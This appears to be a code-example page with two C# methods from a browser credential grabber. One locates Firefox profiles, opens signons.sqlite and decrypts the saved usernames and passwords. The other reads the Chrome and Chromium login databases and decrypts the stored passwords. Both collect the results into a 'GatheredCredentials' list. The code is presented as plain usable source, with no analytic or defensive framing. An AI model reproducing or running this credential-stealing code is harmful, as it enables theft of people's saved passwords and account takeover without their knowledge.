Esempio n. 1
0
        public static void Start()
        {
            string SignonFile = "";

            string MozillaPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + @"\Mozilla Firefox\";
            string ProfilePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox\Profiles";

            foreach (string SubFolder in Directory.GetDirectories(ProfilePath))
            {
                foreach (string SingleFile in Directory.GetFiles(SubFolder, "*.sqlite"))
                {
                    if (SingleFile.Contains("signons.sqlite"))
                    {
                        SignonFile = SingleFile;
                        NSS_Init(SubFolder, MozillaPath);
                    }
                }
            }

            SQLiteWrapper NewDb = new SQLiteWrapper(SignonFile);

            NewDb.ReadTable("moz_logins");

            for (int i = 0; i <= NewDb.GetRowCount() - 1; i++)
            {
                string Host     = NewDb.GetValue(i, "hostname");
                string FormUrl  = NewDb.GetValue(i, "formSubmitURL");
                string Username = Decrypt(NewDb.GetValue(i, "encryptedUsername"));
                string Password = Decrypt(NewDb.GetValue(i, "encryptedPassword"));

                UserDataManager.GatheredCredentials.Add(new Credential("FireFox", Host, Username, Password, FormUrl));
            }
        }
Esempio n. 2
0
        public static void GrabData(string Path, bool Chromium)
        {
            SQLiteWrapper ChromeDB = new SQLiteWrapper(Path);

            ChromeDB.ReadTable("logins");

            for (int i = 0; i <= ChromeDB.GetRowCount() - 1; i++)
            {
                string Host     = ChromeDB.GetValue(i, "origin_url");
                string Username = ChromeDB.GetValue(i, "username_value");
                string Password = Decrypt(System.Text.Encoding.Default.GetBytes(ChromeDB.GetValue(i, "password_value")));

                if (Chromium)
                {
                    UserDataManager.GatheredCredentials.Add(new Credential("Chromium", Host, Username, Password, ""));
                }
                else
                {
                    UserDataManager.GatheredCredentials.Add(new Credential("Chrome", Host, Username, Password, ""));
                }
            }
        }